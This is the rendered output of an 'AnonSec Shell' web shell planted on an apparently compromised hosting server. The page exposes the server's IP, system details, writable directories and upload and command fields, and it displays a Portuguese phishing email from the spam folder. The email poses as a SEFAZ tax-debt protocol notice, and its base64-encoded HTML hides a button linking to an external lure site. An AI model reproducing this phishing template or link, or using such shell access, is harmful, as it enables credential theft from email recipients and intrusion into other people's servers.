AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././mail/.spam/new/1740766913.M422746P26900.dedi-4363141.lrsys.com.br,S=9086,W=9240
Return-Path: <notificacao4831180@concordia533wv.auditoria.biz>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id kPtRGMH+wWcUaQAAIWsJAg
	(envelope-from <notificacao4831180@concordia533wv.auditoria.biz>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Fri, 28 Feb 2025 15:21:53 -0300
Return-path: <notificacao4831180@concordia533wv.auditoria.biz>
Envelope-to: amoxerifado@lrsys.com.br
Delivery-date: Fri, 28 Feb 2025 15:21:53 -0300
Received: from concordia533wv.auditoria.biz ([5.161.50.158]:40548)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.96.2)
	(envelope-from <notificacao4831180@concordia533wv.auditoria.biz>)
	id 1to4zd-00071w-29
	for amoxerifado@lrsys.com.br;
	Fri, 28 Feb 2025 15:21:53 -0300
Received: from concordia533wv.auditoria.biz (localhost [127.0.0.1])
	by concordia533wv.auditoria.biz (Postfix) with ESMTP id 2043721F83
	for <amoxerifado@lrsys.com.br>; Fri, 28 Feb 2025 15:21:08 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=concordia533wv.auditoria.biz; s=default; t=1740766868;
	bh=TquNNFzkI0IDlDVeNzSMIpbkJoSXgeppKFlavQbAy70=;
	h=From:To:Reply-To:Date:Subject:From;
	b=j55uuBH2YF7Oiiql38iEKbgoibMqweiReZqRtiPhZdJINCXR+W1nyQkUrNNOy2+oG
	 3Qdf9ZfDGHCAgzXfWxK1KtmtKHysJbPy7gc6nCb3bdrKpJkNMY65rpYEkmT+UfguYK
	 bxGVUR5tOeRthuvZr0Q4ImCvbolBXRnX4cKgloSQwUr4K2o9RiCUq5Czavnbe8cDFT
	 OJ3MnOPXevNh8gtaIrCUvUu658CnUdPHXZwpJOz7oTvkSz0tHbWV0HDp/QzrDbF27/
	 TpMdysmH+UWwM2/rkJ/aj7qPxyZYPcOAGMLheiuFbmp9+BnOFHzYDClMbQNZ3oBROV
	 GRb9Xdz1SA/Zg==
From: "Escritorio.184" <notificacao4831180@concordia533wv.auditoria.biz>
To: amoxerifado@lrsys.com.br
Content-Type: multipart/alternative; boundary="xcIHZ=_YDFabYQxwyDmc5IOMlVWyW2RIdd"
MIME-Version: 1.0
Reply-To: majnxksh7qkar@concordia533wv.auditoria.biz
Date: Fri, 28 Feb 2025 15:21:08 -0300
Message-Id: <20250228182108.2043721F83@concordia533wv.auditoria.biz>
X-Spam-Status: Yes, score=12.0
X-Spam-Score: 120
X-Spam-Bar: ++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  An HTML viewer is required to see this message Prezado(a),amoxerifado@lrsys.com.br
    Confirmamos o recebimento do protocolo 65117575 referente à Baixa de Débitos.
    O documento foi registrado com sucesso pela SEFAZ-DFAZ-CTDA - Tributação
    e Dívida Ativa na data de 28/02/2025. 
 Content analysis details:   (12.0 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: distritek.cab]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus
                             DBL blocklist
                             [URIs: auditoria.biz]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [5.161.50.158 listed in sa-accredit.habeas.com]
  1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
                             bl.spamcop.net
                [Blocked - see <https://www.spamcop.net/bl.shtml?5.161.50.158>]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [5.161.50.158 listed in bl.score.senderscore.com]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
                             identical to background
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.8 MPART_ALT_DIFF         BODY: HTML and text parts are different
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.8 KAM_INFOUSMEBIZ        Prevalent use of
                             .info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
                              domains in spam/malware
  0.5 KAM_NUMSUBJECT         Subject ends in numbers excluding current years
  0.2 FROM_FMBLA_NEWDOM14    From domain was registered in last 7-14 days
X-Spam-Flag: YES
Subject:  ***SPAM***  5554881 - Acompanhamento Online do Protocolo 65117575

This is a multi-part message in MIME format

--xcIHZ=_YDFabYQxwyDmc5IOMlVWyW2RIdd
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

An HTML viewer is required to see this message

--xcIHZ=_YDFabYQxwyDmc5IOMlVWyW2RIdd
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline

PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9InB0LXB0Ij4KPGhlYWQ+CiAgICA8bWV0YSBjaGFy
c2V0PSJ1dGYtOCI+CjwvaGVhZD4KPGJvZHkgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fu
cy1zZXJpZjsgYmFja2dyb3VuZC1jb2xvcjogI2Y0ZjRmNDsgcGFkZGluZzogMjBweDsgdGV4dC1h
bGlnbjogY2VudGVyOyI+CiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiIHN0eWxlPSJtYXgtd2lk
dGg6IDYwMHB4OyBtYXJnaW46IGF1dG87IGJhY2tncm91bmQ6ICNmZmZmZmY7IHBhZGRpbmc6IDI3
cHg7IGJvcmRlci1yYWRpdXM6IDhweDsgYm94LXNoYWRvdzogMCAwIDE3cHggcmdiYSgwLCAwLCAw
LCAwLjEpOyI+CiAgCiAgICAgICAgPHRhYmxlIHN0eWxlPSJ3aWR0aDogMTAwJTsgZm9udC1mYW1p
bHk6ICdIZWx2ZXRpY2EgTmV1ZScsIEhlbHZldGljYSwgQXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQt
c2l6ZTogMTRweDsgYmFja2dyb3VuZDogI2ZmZmZmZjsgYm9yZGVyLXJhZGl1czogNXB4OyI+CiAg
ICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAg
ICA8dGQgc3R5bGU9InBhZGRpbmc6IDIwcHg7IHRleHQtYWxpZ246IGxlZnQ7IGNvbG9yOiAjMDAw
MDA3OyI+CiAgICAgICAgICAgICAgICAgICAgICAgIFByZXphZG8oYSksPHNwYW4gc3R5bGU9InBh
ZGRpbmc6IDBweDsgdGV4dC1hbGlnbjogbGVmdDsgY29sb3I6ICNGRjAwMDA7Ij5hbW94ZXJpZmFk
b0BscnN5cy5jb20uYnI8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwPkNvbmZpcm1h
bW9zIG8gcmVjZWJpbWVudG8gZG8gcHJvdG9jb2xvIDxzdHJvbmc+NjUxMTc1NzU8L3N0cm9uZz4g
cmVmZXJlbnRlICYjMjI0OyA8c3Ryb25nPkJhaXhhIGRlIEQmIzIzMztiaXRvczwvc3Ryb25nPi4g
TyBkb2N1bWVudG8gZm9pIHJlZ2lzdHJhZG8gY29tIHN1Y2Vzc28gcGVsYSA8c3Ryb25nPlNFRkFa
LURGQVotQ1REQSAtIFRyaWJ1dGEmIzIzMTsmIzIyNztvIGUgRCYjMjM3O3ZpZGEgQXRpdmE8L3N0
cm9uZz4gbmEgZGF0YSBkZSA8c3Ryb25nPjI4LzAyLzIwMjU8L3N0cm9uZz4uPC9wPgoKICAgICAg
ICAgICAgICAgICAgICAgICAgPHA+UGFyYSBhY29tcGFuaGFyIG8gYW5kYW1lbnRvIGRvIHNldSBw
cm9jZXNzbywgYWNlc3NlIG8gZG9jdW1lbnRvIGFiYWl4bzo8L3A+CgogICAgICAgICAgICAgICAg
ICAgICAgICA8ZGl2IHN0eWxlPSJtYXJnaW46IDIwcHggMDsgdGV4dC1hbGlnbjogY2VudGVyOyI+
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJoVFRwczovL3Zha2luc29tLmRp
c3RyaXRlay5jYWIvQzE0UjVnVlFYT3NSdWcvSlgweDBDaWc1Q2hYNEM5L3dlYm5ldC8zMzk5ODRf
U0VGQVpfX19PUiIgdGFyZ2V0PSJfYmxhbmsiIHJlbD0ibm9yZWZlcnJlciIgIGRhdGEtYXV0aD0i
Tm90QXBwbGljYWJsZSIgc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsgY29sb3I6ICNmZmY7IHRleHQt
ZGVjb3JhdGlvbjogbm9uZTsgZm9udC13ZWlnaHQ6IGJvbGQ7IHRleHQtYWxpZ246IGNlbnRlcjsg
ZGlzcGxheTogaW5saW5lLWJsb2NrOyBib3JkZXItcmFkaXVzOiA0cHg7IGJhY2tncm91bmQ6ICMx
NDQzODE7IHBhZGRpbmc6IDEwcHggMjBweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIEFjb21wYW5oYXIgUHJvY2Vzc28KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4K
ICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICA8
cCBzdHlsZT0iY29sb3I6ICMwMDAwMDE7IGZvbnQtc2l6ZTogMTJweDsgdGV4dC1hbGlnbjogY2Vu
dGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZW0+RXN0YSBtZW5zYWdlbSBmb2kg
Z2VyYWRhIGF1dG9tYXRpY2FtZW50ZS4gQ2FzbyB0ZW5oYSBkJiMyNTA7dmlkYXMsIGVudHJlIGVt
IGNvbnRhdG8gY29tIG5vc3NvIHN1cG9ydGUuPC9lbT4KICAgICAgICAgICAgICAgICAgICAgICAg
PC9wPgoKICAgICAgICAgICAgICAgICAgICAgICAgPHAgc3R5bGU9ImNvbG9yOiAjMDAwMDA1OyBm
b250LXNpemU6IDEycHg7IHRleHQtYWxpZ246IGNlbnRlcjsiPgogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgPGVtPkVudmlhZG8gJiMyMjQ7cyAxNToyMTowODwvZW0+CiAgICAgICAgICAgICAg
ICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAg
PC90cj4KICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICA8L3RhYmxlPgogICAgPC9kaXY+Cgo8
L2JvZHk+Cgo8L2h0bWw+Cg==

--xcIHZ=_YDFabYQxwyDmc5IOMlVWyW2RIdd--


Anon7 - 2022
AnonSec Team